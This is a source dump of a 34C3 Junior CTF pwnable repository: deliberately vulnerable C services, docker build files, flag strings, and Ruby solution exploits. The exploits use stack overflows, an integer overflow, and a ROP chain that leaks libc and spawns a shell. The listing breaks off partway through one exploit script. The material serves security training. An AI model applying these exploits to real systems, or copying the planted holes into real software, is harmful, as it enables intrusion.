├── flags ├── billboard.flag ├── mate.flag ├── mate2.flag ├── shredder.flag ├── giftwrapper.flag └── giftwrapper2.flag ├── mate ├── server ├── mate.so └── server.c ├── mate2 ├── server ├── mate2.so └── server.c ├── billboard ├── server ├── billboard.so ├── Makefile ├── module.h ├── billboard.c └── server.c ├── shredder ├── server ├── shredder.so └── server.c ├── giftwrapper ├── server ├── giftwrapper.so └── server.c ├── giftwrapper2 ├── server ├── giftwrapper2.so └── server.c ├── docker_run.sh ├── docker_build.sh ├── Dockerfile ├── module.h ├── billboard.c ├── README.md ├── solutions ├── billboard.rb ├── giftwrapper.rb ├── shredder.rb ├── giftwrapper2.rb ├── mate2.rb └── mate.rb ├── giftwrapper2.c ├── giftwrapper.c ├── Makefile ├── server.c ├── mate.c ├── shredder.c └── mate2.c /flags/billboard.flag: -------------------------------------------------------------------------------- 1 | 34C3_w3lc0me_t0_34c3_ctf_H4ve_fuN 2 | -------------------------------------------------------------------------------- /flags/mate.flag: -------------------------------------------------------------------------------- 1 | 34C3_t0ns_0f_M4t3_w3r3_f1lL3d_t0d4y 2 | -------------------------------------------------------------------------------- /flags/mate2.flag: -------------------------------------------------------------------------------- 1 | 34C3_th4nK5_f0r_4lL_th3_sh1Pp3d_m4t3 2 | -------------------------------------------------------------------------------- /flags/shredder.flag: -------------------------------------------------------------------------------- 1 | 34C3_mUlt1Ply1nG_1nt3ger5_i5_h4Rd 2 | -------------------------------------------------------------------------------- /flags/giftwrapper.flag: -------------------------------------------------------------------------------- 1 | 34C3_be4ut1fUl_sh3ll_g1fts_3v3ryWh3r3 2 | -------------------------------------------------------------------------------- /flags/giftwrapper2.flag: -------------------------------------------------------------------------------- 1 | 34C3_r0p_wr4pP3d_g1fts_ar3_tH3_b3st_g1fts 2 | -------------------------------------------------------------------------------- /mate/server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/mate/server -------------------------------------------------------------------------------- /mate/mate.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/mate/mate.so -------------------------------------------------------------------------------- /mate2/server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/mate2/server -------------------------------------------------------------------------------- /billboard/server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/billboard/server -------------------------------------------------------------------------------- /mate2/mate2.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/mate2/mate2.so -------------------------------------------------------------------------------- /shredder/server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/shredder/server -------------------------------------------------------------------------------- /giftwrapper/server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/giftwrapper/server -------------------------------------------------------------------------------- /giftwrapper2/server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/giftwrapper2/server -------------------------------------------------------------------------------- /shredder/shredder.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/shredder/shredder.so -------------------------------------------------------------------------------- /billboard/billboard.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/billboard/billboard.so -------------------------------------------------------------------------------- /giftwrapper/giftwrapper.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/giftwrapper/giftwrapper.so -------------------------------------------------------------------------------- /giftwrapper2/giftwrapper2.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tharina/34c3ctf/HEAD/giftwrapper2/giftwrapper2.so -------------------------------------------------------------------------------- /docker_run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [[ $# > 0 ]]; then 3 | docker run --rm --init --cap-add=SYS_PTRACE -p "127.0.0.1:12345:12345" --name "$1" -it "tharina/$1" 4 | else 5 | echo No module specified. 6 | fi 7 | -------------------------------------------------------------------------------- /billboard/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -O1 3 | 4 | all: server 5 | 6 | server: server.c billboard.so 7 | $(CC) -no-pie -DPORT=12345 -DLIB=\"./billboard.so\" -o server server.c $(CFLAGS) -ldl 8 | 9 | billboard.so: billboard.c 10 | $(CC) -o billboard.so -shared -fPIC billboard.c $(CFLAGS) 11 | -------------------------------------------------------------------------------- /docker_build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [[ $# > 0 ]]; then 3 | make "$@" 4 | if [[ $? = 0 ]]; then 5 | docker build -t tharina/$1 --build-arg flag=./flags/$1.flag --build-arg module=$1 . 6 | else 7 | echo Build failed 8 | fi 9 | else 10 | echo No module specified. 11 | fi 12 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:17.10 2 | RUN apt-get -y update 3 | RUN apt-get -y upgrade 4 | 5 | RUN groupadd -g 1000 challenge && useradd -g challenge -m -u 1000 challenge -s /bin/bash 6 | 7 | ARG module 8 | ARG flag 9 | 10 | ADD $module/server / 11 | ADD $module/$module.so / 12 | ADD $flag /tmp 13 | RUN mv /tmp/*.flag /flag.txt 14 | 15 | WORKDIR / 16 | 17 | CMD ["/server"] 18 | -------------------------------------------------------------------------------- /module.h: -------------------------------------------------------------------------------- 1 | #ifndef MODULE_H 2 | #define MODULE_H 3 | 4 | #define MIN(a,b) (((a)<(b))?(a):(b)) 5 | 6 | #include 7 | 8 | typedef void (*handle_command_function)(int, char**); 9 | typedef void (*registration_function)(const char*, const char*, const char*, handle_command_function); 10 | 11 | 12 | 13 | typedef struct command { 14 | const char* name; 15 | const char* usage; 16 | const char* description; 17 | handle_command_function function; 18 | struct command* next; 19 | } command_t; 20 | 21 | typedef struct module { 22 | const char* name; 23 | const char* info; 24 | Elf64_Addr base; 25 | command_t* commands; 26 | } module_t; 27 | 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /billboard/module.h: -------------------------------------------------------------------------------- 1 | #ifndef MODULE_H 2 | #define MODULE_H 3 | 4 | #define MIN(a,b) (((a)<(b))?(a):(b)) 5 | 6 | #include 7 | 8 | typedef void (*handle_command_function)(int, char**); 9 | typedef void (*registration_function)(const char*, const char*, const char*, handle_command_function); 10 | 11 | 12 | 13 | typedef struct command { 14 | const char* name; 15 | const char* usage; 16 | const char* description; 17 | handle_command_function function; 18 | struct command* next; 19 | } command_t; 20 | 21 | typedef struct module { 22 | const char* name; 23 | const char* info; 24 | Elf64_Addr base; 25 | command_t* commands; 26 | } module_t; 27 | 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /billboard.c: -------------------------------------------------------------------------------- 1 | #ifndef _MYLIB_H_ 2 | #define _MYLIB_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "module.h" 10 | 11 | const char* name = "Digital Billboard"; 12 | const char* info = "We bought a new digital billboard for CTF advertisement.\n" 13 | "\n" 14 | "Type \"help\" for help :)"; 15 | 16 | 17 | struct billboard { 18 | char text[256]; 19 | char devmode; 20 | }; 21 | struct billboard bb = { .text="Placeholder", .devmode=0 }; 22 | 23 | void set_text(int argc, char* argv[]) { 24 | strcpy(bb.text, argv[1]); 25 | printf("Successfully set text to: %s\n", bb.text); 26 | return; 27 | } 28 | 29 | void shell(int argc, char* argv[]) { 30 | if (bb.devmode) { 31 | printf("Developer access to billboard granted.\n"); 32 | system("/bin/bash"); 33 | } else { 34 | printf("Developer mode disabled!\n"); 35 | } 36 | return; 37 | } 38 | 39 | void help(int argc, char* argv[]) { 40 | printf("This is helpful.\n"); 41 | return; 42 | } 43 | 44 | 45 | void initialize_module(module_t* module, registration_function register_command) { 46 | 47 | module->name = name; 48 | module->info = info; 49 | 50 | register_command("set_text", "\t\t", "Set the text displayed on the board", set_text); 51 | register_command("devmode", "\t\t", "Developer mode", shell); 52 | 53 | 54 | strcpy(bb.text, "Welcome to 34C3 JUNIOR CTF"); 55 | } 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /billboard/billboard.c: -------------------------------------------------------------------------------- 1 | #ifndef _MYLIB_H_ 2 | #define _MYLIB_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "module.h" 10 | 11 | const char* name = "Digital Billboard"; 12 | const char* info = "We bought a new digital billboard for CTF advertisement.\n" 13 | "\n" 14 | "Type \"help\" for help :)"; 15 | 16 | 17 | struct billboard { 18 | char text[256]; 19 | char devmode; 20 | }; 21 | struct billboard bb = { .text="Placeholder", .devmode=0 }; 22 | 23 | void set_text(int argc, char* argv[]) { 24 | strcpy(bb.text, argv[1]); 25 | printf("Successfully set text to: %s\n", bb.text); 26 | return; 27 | } 28 | 29 | void shell(int argc, char* argv[]) { 30 | if (bb.devmode) { 31 | printf("Developer access to billboard granted.\n"); 32 | system("/bin/bash"); 33 | } else { 34 | printf("Developer mode disabled!\n"); 35 | } 36 | return; 37 | } 38 | 39 | void help(int argc, char* argv[]) { 40 | printf("This is helpful.\n"); 41 | return; 42 | } 43 | 44 | 45 | void initialize_module(module_t* module, registration_function register_command) { 46 | 47 | module->name = name; 48 | module->info = info; 49 | 50 | register_command("set_text", "\t\t", "Set the text displayed on the board", set_text); 51 | register_command("devmode", "\t\t", "Developer mode", shell); 52 | 53 | 54 | strcpy(bb.text, "Welcome to 34C3 JUNIOR CTF"); 55 | } 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 34C3 Junior CTF pwnables 2 | 3 | Source code and exploits for the 34C3 Junior CTF pwnables. 4 | 5 | To recreate the CTF environment with docker: 6 | 7 | ``` 8 | ./docker_build.sh 9 | ./docker_run.sh 10 | ``` 11 | module_names: {billboard, giftwrapper, giftwrapper2, mate, mate2, shredder} 12 | 13 | 14 | Connect to the service: 15 | ``` 16 | nc localhost 12345 17 | ``` 18 | 19 | For each challenge the files in the respective subdirectory were given. 20 | 21 | 22 | Use the following command to retrieve the libc used in the docker environment: 23 | ``` 24 | docker cp module_name:/lib/x86_64-linux-gnu/libc.so.6 . 25 | ``` 26 | 27 | 28 | ## Digital Billboard 29 | 30 | We bought a new Digital Billboard for CTF advertisement. 31 | 32 | 33 | ## Gift Wrapping Factory 34 | 35 | Have trouble wrapping your gifts nicely? Take a look at this new service. 36 | 37 | 38 | ## Gift Wrapping Factory 2.0 39 | 40 | Wrapping gifts is now even more fun! 41 | 42 | 43 | ## Mate Bottling Plant Control Center 44 | 45 | To guarantee a constant supply of Mate we built our own Mate Bottling Plant. 46 | 47 | 48 | ## Mate Bottling Plant Control Center 2.0 49 | 50 | There were some minor problems with the previous version of Mate Bottling Plant. We hired the world's best Mate specialists to improve usability, functionality and security in our new Mate Bottling Plant 2.0. 51 | 52 | 53 | ## Gift Shredder 54 | 55 | As a new service¹ for our customers who are not satisfied with this year's christmas gifts, we launched the modern, state of the art Gift Shredder Plant. 56 | 57 | (¹) Unfortunately we are not able to compensate for your financial loss. 58 | -------------------------------------------------------------------------------- /solutions/billboard.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # encoding: ascii-8bit 3 | 4 | require 'expect' 5 | require 'socket' 6 | require 'pty' 7 | require 'io/console' 8 | require 'colorize' 9 | 10 | 11 | def log data 12 | $stdout.puts data.inspect.black.on_white 13 | end 14 | 15 | def logerror e 16 | $stdout.puts e.inspect.black.on_red 17 | end 18 | 19 | 20 | module IOExtension 21 | def interact 22 | begin 23 | until self.closed? do 24 | readable, _, _, _ = IO.select([self, $stdin]) 25 | readable.each do |source| 26 | case source 27 | when self 28 | input = self.readchar 29 | $stdout.print input.cyan 30 | when $stdin 31 | self.print $stdin.gets 32 | else 33 | raise StandardError 34 | end 35 | end 36 | end 37 | rescue EOFError => e 38 | logerror e 39 | self.close 40 | return 41 | rescue Interrupt 42 | return 43 | end 44 | end 45 | end 46 | 47 | class IO 48 | prepend IOExtension 49 | end 50 | 51 | 52 | target = :local 53 | if ARGV[0] == 'remote' then target = :remote end 54 | 55 | case target 56 | when :local 57 | $s, slave = PTY.open 58 | PTY.spawn(ARGV[0], :in=>slave, :out=>slave) 59 | $s.echo = false 60 | when :remote 61 | host = ARGV[1] 62 | port = ARGV[2] 63 | $s = TCPSocket.new host, port 64 | end 65 | 66 | def set_text t 67 | puts t 68 | $s.puts t 69 | print $s.expect("> ")[0].cyan 70 | end 71 | 72 | def devmode 73 | puts "devmode" 74 | $s.puts "devmode" 75 | end 76 | 77 | print $s.expect("> ")[0].cyan 78 | set_text "set_text " + "A" * 257 79 | devmode 80 | 81 | $s.interact 82 | -------------------------------------------------------------------------------- /giftwrapper2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "module.h" 9 | 10 | const char* name = "Gift Wrapping Factory"; 11 | const char* info = "Welcome to the new gift wrapping service!\nType \"help\" for help :)"; 12 | 13 | 14 | void wrap(int argc, char* argv[]) { 15 | 16 | printf("What is the size of the gift you want to wrap?\n |> "); 17 | char buf[11]; 18 | memset(buf, 0, sizeof(buf)); 19 | if (read(1, buf, 10) <= 0) 20 | exit(EXIT_FAILURE); 21 | short size = strtol(buf, NULL, 0); 22 | if (size >= 100) { 23 | puts("Sorry! This gift is too large."); 24 | return; 25 | } 26 | 27 | printf("Please send me your gift.\n |> "); 28 | char input_buffer[100]; 29 | memset(input_buffer, '\x00', sizeof(input_buffer)); 30 | int nread = read(1, input_buffer, (unsigned short) size + 1); 31 | if (input_buffer[nread - 1] == '\n') { 32 | input_buffer[nread - 1] = '\x00'; 33 | } 34 | 35 | const char* gift_top = " _ _ \n" 36 | " ((\\o/)) \n" 37 | " .-------//^\\\\------.\n" 38 | " | /` `\\ |\n" 39 | " | |\n"; 40 | const char* gift_bottom = " | |\n" 41 | " ------------------ \n"; 42 | 43 | printf("%s", gift_top); 44 | for (int i = 0; i < size; i += 16) { 45 | int n = printf(" | %.16s", input_buffer + i); 46 | printf("%*c |\n", 19 - n, ' '); 47 | } 48 | printf("%s\n", gift_bottom); 49 | 50 | printf("Wow! This looks so beautiful\n"); 51 | } 52 | 53 | 54 | void initialize_module(module_t* module, registration_function register_command) { 55 | 56 | module->name = name; 57 | module->info = info; 58 | 59 | register_command("wrap", "\t\t\t", "Wrap a gift", wrap); 60 | } 61 | -------------------------------------------------------------------------------- /giftwrapper.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "module.h" 9 | 10 | const char* name = "Gift Wrapping Factory"; 11 | const char* info = "Welcome to the new gift wrapping service!\nType \"help\" for help :)"; 12 | 13 | 14 | void wrap(int argc, char* argv[]) { 15 | 16 | printf("What is the size of the gift you want to wrap?\n |> "); 17 | char buf[11]; 18 | memset(buf, 0, sizeof(buf)); 19 | if (read(1, buf, 10) <= 0) 20 | exit(EXIT_FAILURE); 21 | short size = strtol(buf, NULL, 0); 22 | if (size >= 100) { 23 | puts("Sorry! This gift is too large."); 24 | return; 25 | } 26 | 27 | printf("Please send me your gift.\n |> "); 28 | char input_buffer[100]; 29 | memset(input_buffer, '\x00', sizeof(input_buffer)); 30 | int nread = read(1, input_buffer, (unsigned short) size + 1); 31 | input_buffer[nread - 1] = '\x00'; 32 | 33 | const char* gift_top = " _ _ \n" 34 | " ((\\o/)) \n" 35 | " .-------//^\\\\------.\n" 36 | " | /` `\\ |\n" 37 | " | |\n"; 38 | const char* gift_bottom = " | |\n" 39 | " ------------------ \n"; 40 | 41 | printf("%s", gift_top); 42 | for (int i = 0; i < size; i += 16) { 43 | int n = printf(" | %.16s", input_buffer + i); 44 | printf("%*c |\n", 19 - n, ' '); 45 | } 46 | printf("%s\n", gift_bottom); 47 | 48 | printf("Wow! This looks so beautiful\n"); 49 | } 50 | 51 | void spawn_shell(int argc, char* argv[]) { 52 | system("/bin/bash"); 53 | } 54 | 55 | 56 | void initialize_module(module_t* module, registration_function register_command) { 57 | 58 | module->name = name; 59 | module->info = info; 60 | 61 | register_command("wrap", "\t\t\t", "Wrap a gift", wrap); 62 | } 63 | -------------------------------------------------------------------------------- /solutions/giftwrapper.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # encoding: ascii-8bit 3 | 4 | require 'expect' 5 | require 'socket' 6 | require 'pty' 7 | require 'io/console' 8 | require 'colorize' 9 | 10 | 11 | def log data 12 | $stdout.puts data.inspect.black.on_white 13 | end 14 | 15 | def logerror e 16 | $stdout.puts e.inspect.black.on_red 17 | end 18 | 19 | 20 | module IOExtension 21 | def interact 22 | begin 23 | until self.closed? do 24 | readable, _, _, _ = IO.select([self, $stdin]) 25 | readable.each do |source| 26 | case source 27 | when self 28 | input = self.readchar 29 | $stdout.print input.cyan 30 | when $stdin 31 | self.print $stdin.gets 32 | else 33 | raise StandardError 34 | end 35 | end 36 | end 37 | rescue EOFError => e 38 | logerror e 39 | self.close 40 | return 41 | rescue Interrupt 42 | return 43 | end 44 | end 45 | end 46 | 47 | class IO 48 | prepend IOExtension 49 | end 50 | 51 | 52 | target = :local 53 | if ARGV[0] == 'remote' then target = :remote end 54 | 55 | case target 56 | when :local 57 | $s, slave = PTY.open 58 | PTY.spawn(ARGV[0], :in=>slave, :out=>slave) 59 | $s.echo = false 60 | when :remote 61 | host = ARGV[1] 62 | port = ARGV[2] 63 | $s = TCPSocket.new host, port 64 | end 65 | 66 | def wrap size, gift 67 | puts "wrap" 68 | $s.write "wrap\n" 69 | print $s.expect("> ")[0].cyan 70 | 71 | puts size.to_s 72 | $s.write(size.to_s + "\n") 73 | print $s.expect("> ")[0].cyan 74 | 75 | puts gift 76 | $s.write(gift + "\n"); 77 | end 78 | 79 | 80 | def modinfo 81 | puts "modinfo" 82 | $s.write "modinfo\n" 83 | answer = $s.expect("> ")[0] 84 | base = answer[/0x.[[:xdigit:]]*/, 0].chomp 85 | log "Module base: #{base}" 86 | print answer.cyan 87 | return base.to_i 16 88 | end 89 | 90 | 91 | 92 | 93 | print $s.expect("> ")[0].cyan 94 | 95 | base = modinfo 96 | spawn_shell = base + 0x9c3 97 | 98 | wrap(-5, "A" * 100 + "BBBBBBBB" * 4 + "CCCC" + [spawn_shell].pack("Q")) 99 | 100 | 101 | 102 | $s.interact 103 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -O1 3 | 4 | .PHONY: default 5 | default: 6 | $(error No target specified.) 7 | 8 | 9 | 10 | .PHONY: billboard 11 | billboard: billboard/server 12 | 13 | billboard/server: server.c billboard/billboard.so 14 | $(CC) -no-pie -DPORT=12345 -DLIB=\"./billboard.so\" -o ./billboard/server server.c $(CFLAGS) -ldl 15 | cp server.c billboard/server.c 16 | 17 | billboard/billboard.so: billboard.c 18 | $(CC) -o ./billboard/billboard.so -shared -fPIC billboard.c $(CFLAGS) 19 | 20 | 21 | 22 | .PHONY: giftwrapper 23 | giftwrapper: giftwrapper/server 24 | 25 | giftwrapper/server: server.c giftwrapper/giftwrapper.so 26 | $(CC) -no-pie -fno-stack-protector -D_FORTIFY_SOURCE=0 -DPORT=12345 -DLIB=\"./giftwrapper.so\" -o ./giftwrapper/server server.c $(CFLAGS) -ldl 27 | cp server.c giftwrapper/server.c 28 | 29 | giftwrapper/giftwrapper.so: giftwrapper.c 30 | $(CC) -fno-stack-protector -D_FORTIFY_SOURCE=0 -o ./giftwrapper/giftwrapper.so -shared -fPIC giftwrapper.c $(CFLAGS) 31 | 32 | 33 | 34 | .PHONY: giftwrapper2 35 | giftwrapper2: giftwrapper2/server 36 | 37 | giftwrapper2/server: server.c giftwrapper2/giftwrapper2.so 38 | $(CC) -no-pie -fno-stack-protector -D_FORTIFY_SOURCE=0 -DPORT=12345 -DLIB=\"./giftwrapper2.so\" -o ./giftwrapper2/server server.c $(CFLAGS) -ldl 39 | cp server.c giftwrapper2/server.c 40 | 41 | giftwrapper2/giftwrapper2.so: giftwrapper2.c 42 | $(CC) -fno-stack-protector -D_FORTIFY_SOURCE=0 -o ./giftwrapper2/giftwrapper2.so -shared -fPIC giftwrapper2.c $(CFLAGS) 43 | 44 | 45 | 46 | .PHONY: mate 47 | mate: mate/server 48 | 49 | mate/server: server.c mate/mate.so 50 | $(CC) -no-pie -DPORT=12345 -DLIB=\"./mate.so\" -o ./mate/server server.c $(CFLAGS) -ldl 51 | cp server.c mate/server.c 52 | 53 | mate/mate.so: mate.c 54 | $(CC) -o ./mate/mate.so -shared -fPIC mate.c $(CFLAGS) 55 | 56 | 57 | 58 | .PHONY: mate2 59 | mate2: mate2/server 60 | 61 | mate2/server: server.c mate2/mate2.so 62 | $(CC) -no-pie -DPORT=12345 -DLIB=\"./mate2.so\" -o ./mate2/server server.c $(CFLAGS) -ldl 63 | cp server.c mate2/server.c 64 | 65 | mate2/mate2.so: mate2.c 66 | $(CC) -o ./mate2/mate2.so -shared -fPIC mate2.c $(CFLAGS) 67 | 68 | 69 | 70 | .PHONY: shredder 71 | shredder: shredder/server 72 | 73 | shredder/server: server.c shredder/shredder.so 74 | $(CC) -no-pie -DPORT=12345 -DLIB=\"./shredder.so\" -o ./shredder/server server.c $(CFLAGS) -ldl 75 | cp server.c shredder/server.c 76 | 77 | shredder/shredder.so: shredder.c 78 | $(CC) -o ./shredder/shredder.so -shared -fPIC shredder.c $(CFLAGS) 79 | -------------------------------------------------------------------------------- /solutions/shredder.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # encoding: ascii-8bit 3 | 4 | require 'expect' 5 | require 'socket' 6 | require 'pty' 7 | require 'io/console' 8 | require 'colorize' 9 | 10 | 11 | def log data 12 | $stdout.puts data.inspect.black.on_white 13 | end 14 | 15 | def logerror e 16 | $stdout.puts e.inspect.black.on_red 17 | end 18 | 19 | 20 | module IOExtension 21 | def interact 22 | begin 23 | until self.closed? do 24 | readable, _, _, _ = IO.select([self, $stdin]) 25 | readable.each do |source| 26 | case source 27 | when self 28 | input = self.readchar 29 | $stdout.print input.cyan 30 | when $stdin 31 | self.print $stdin.gets 32 | else 33 | raise StandardError 34 | end 35 | end 36 | end 37 | rescue EOFError => e 38 | logerror e 39 | self.close 40 | return 41 | rescue Interrupt 42 | return 43 | end 44 | end 45 | end 46 | 47 | class IO 48 | prepend IOExtension 49 | end 50 | 51 | 52 | target = :local 53 | if ARGV[0] == 'remote' then target = :remote end 54 | 55 | case target 56 | when :local 57 | $s, slave = PTY.open 58 | PTY.spawn(ARGV[0], :in=>slave, :out=>slave) 59 | $s.echo = false 60 | when :remote 61 | host = ARGV[1] 62 | port = ARGV[2] 63 | $s = TCPSocket.new host, port 64 | end 65 | 66 | 67 | def modinfo 68 | puts "modinfo" 69 | $s.write "modinfo\n" 70 | answer = $s.expect("> ")[0] 71 | base = answer[/0x.[[:xdigit:]]*/, 0].chomp 72 | log "Module base: #{base}" 73 | print answer.cyan 74 | return base.to_i 16 75 | end 76 | 77 | def request_shredder n 78 | puts "request_shredder #{n}" 79 | $s.puts "request_shredder #{n}" 80 | print $s.expect("> ")[0].cyan 81 | end 82 | 83 | def request_pallet n 84 | puts "request_pallet #{n}" 85 | $s.puts "request_pallet #{n}" 86 | print $s.expect("> ")[0].cyan 87 | end 88 | 89 | def put i, text 90 | puts "put #{i} #{text}" 91 | $s.puts "put #{i} #{text}" 92 | print $s.expect("> ")[0].cyan 93 | end 94 | 95 | def shred 96 | puts "shred" 97 | $s.puts "shred" 98 | end 99 | 100 | 101 | print $s.expect("> ")[0].cyan 102 | 103 | base = modinfo 104 | spawn = base + 0x1660 105 | 106 | 107 | request_pallet (2**64 / 32) 108 | request_shredder 10 109 | put(1, [spawn].pack("Q")) 110 | shred 111 | 112 | $s.interact 113 | -------------------------------------------------------------------------------- /solutions/giftwrapper2.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # encoding: ascii-8bit 3 | 4 | require 'expect' 5 | require 'socket' 6 | require 'pty' 7 | require 'io/console' 8 | require 'colorize' 9 | 10 | 11 | def log data 12 | $stdout.puts data.inspect.black.on_white 13 | end 14 | 15 | def logerror e 16 | $stdout.puts e.inspect.black.on_red 17 | end 18 | 19 | 20 | module IOExtension 21 | def interact 22 | begin 23 | until self.closed? do 24 | readable, _, _, _ = IO.select([self, $stdin]) 25 | readable.each do |source| 26 | case source 27 | when self 28 | input = self.readchar 29 | $stdout.print input.cyan 30 | when $stdin 31 | self.print $stdin.gets 32 | else 33 | raise StandardError 34 | end 35 | end 36 | end 37 | rescue EOFError => e 38 | logerror e 39 | self.close 40 | return 41 | rescue Interrupt 42 | return 43 | end 44 | end 45 | end 46 | 47 | class IO 48 | prepend IOExtension 49 | end 50 | 51 | 52 | target = :local 53 | if ARGV[0] == 'remote' then target = :remote end 54 | 55 | case target 56 | when :local 57 | $s, slave = PTY.open 58 | PTY.spawn(ARGV[0], :in=>slave, :out=>slave) 59 | $s.echo = false 60 | when :remote 61 | host = ARGV[1] 62 | port = ARGV[2] 63 | $s = TCPSocket.new host, port 64 | end 65 | 66 | def wrap size, gift 67 | puts "wrap" 68 | $s.write "wrap\n" 69 | print $s.expect("> ")[0].cyan 70 | 71 | puts size.to_s 72 | $s.write(size.to_s + "\n") 73 | print $s.expect("> ")[0].cyan 74 | 75 | puts gift 76 | $s.write(gift + "\n"); 77 | end 78 | 79 | def wrap2 size, gift 80 | puts size.to_s 81 | $s.write(size.to_s + "\n") 82 | print $s.expect("> ")[0].cyan 83 | 84 | puts gift 85 | $s.write(gift + "\n"); 86 | end 87 | 88 | 89 | def modinfo 90 | puts "modinfo" 91 | $s.write "modinfo\n" 92 | answer = $s.expect("> ")[0] 93 | base = answer[/0x.[[:xdigit:]]*/, 0].chomp 94 | log "Module base: #{base}" 95 | print answer.cyan 96 | return base.to_i 16 97 | end 98 | 99 | 100 | def Q address 101 | [address].pack("Q") 102 | end 103 | 104 | 105 | 106 | LIBC_OFFSET_SYSTEM = 0x47dc0 107 | LIBC_OFFSET_PUTS = 0x78460 108 | 109 | POP_RDI = 0x000000000040154a 110 | 111 | GOT_PUTS = 0x602018 112 | PUTS = 0x400be0 113 | 114 | 115 | 116 | print $s.expect("> ")[0].cyan 117 | base = modinfo 118 | wrap = base + 0x80a 119 | 120 | 121 | # leak libc 122 | wrap(-5, "A" * 0x88 + Q(POP_RDI) + Q(GOT_PUTS) + Q(PUTS) + Q(wrap)) 123 | print $s.expect("beautiful\n")[0].cyan 124 | 125 | libc_puts = $s.expect("\n")[0].chomp.ljust(8, "\x00").unpack("Q")[0] 126 | libc = libc_puts - LIBC_OFFSET_PUTS 127 | log "System: 0x#{libc.to_s 16}" 128 | 129 | print $s.expect("> ")[0].cyan 130 | 131 | 132 | # call system 133 | libc_system = libc + LIBC_OFFSET_SYSTEM 134 | binsh = libc + 0x1a3ee0 135 | wrap2(-5, "A" * 0x88 + Q(POP_RDI) + Q(binsh) + Q(libc_system)) 136 | 137 | 138 | $s.interact 139 | -------------------------------------------------------------------------------- /solutions/mate2.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # encoding: ascii-8bit 3 | 4 | require 'expect' 5 | require 'socket' 6 | require 'pty' 7 | require 'io/console' 8 | require 'colorize' 9 | 10 | 11 | def log data 12 | $stdout.puts data.inspect.black.on_white 13 | end 14 | 15 | def logerror e 16 | $stdout.puts e.inspect.black.on_red 17 | end 18 | 19 | 20 | module IOExtension 21 | def interact 22 | begin 23 | until self.closed? do 24 | readable, _, _, _ = IO.select([self, $stdin]) 25 | readable.each do |source| 26 | case source 27 | when self 28 | input = self.readchar 29 | $stdout.print input.cyan 30 | when $stdin 31 | self.print $stdin.gets 32 | else 33 | raise StandardError 34 | end 35 | end 36 | end 37 | rescue EOFError => e 38 | logerror e 39 | self.close 40 | return 41 | rescue Interrupt 42 | return 43 | end 44 | end 45 | end 46 | 47 | class IO 48 | prepend IOExtension 49 | end 50 | 51 | 52 | target = :local 53 | if ARGV[0] == 'remote' then target = :remote end 54 | 55 | case target 56 | when :local 57 | $s, slave = PTY.open 58 | PTY.spawn(ARGV[0], :in=>slave, :out=>slave) 59 | $s.echo = false 60 | when :remote 61 | host = ARGV[1] 62 | port = ARGV[2] 63 | $s = TCPSocket.new host, port 64 | end 65 | 66 | def modinfo 67 | puts "modinfo" 68 | $s.puts "modinfo" 69 | answer = $s.expect("> ")[0] 70 | base = answer[/0x.[[:xdigit:]]*/, 0].chomp 71 | log "Module base: #{base}" 72 | print answer.cyan 73 | return base.to_i 16 74 | end 75 | 76 | def new_formula *ingredients 77 | puts "new_formula " + ingredients.join(" ") 78 | $s.puts "new_formula " + ingredients.join(" ") 79 | print $s.expect("> ")[0].cyan 80 | end 81 | 82 | def new_crate size, bsize 83 | puts "new_crate #{size} #{bsize}" 84 | $s.puts "new_crate #{size} #{bsize}" 85 | print $s.expect("> ")[0].cyan 86 | end 87 | 88 | def show_crate 89 | puts "show_crate" 90 | $s.puts "show_crate" 91 | end 92 | 93 | def tap_pos 94 | puts "tap_pos" 95 | $s.puts "tap_pos" 96 | answer = $s.expect("> ")[0] 97 | pos = answer[/0x.[[:xdigit:]]*/, 0].chomp 98 | log "Tap position: #{pos}" 99 | print answer.cyan 100 | return pos.to_i 16 101 | end 102 | 103 | def move_tap index 104 | puts "move_tap " + index.to_s 105 | $s.puts "move_tap " + index.to_s 106 | print $s.expect("> ")[0].cyan 107 | end 108 | 109 | def fill amount 110 | puts "fill #{amount}" 111 | $s.puts "fill #{amount}" 112 | print $s.expect("> ")[0].cyan 113 | end 114 | 115 | def inspect 116 | puts "inspect" 117 | $s.puts "inspect" 118 | print $s.expect("> ")[0].cyan 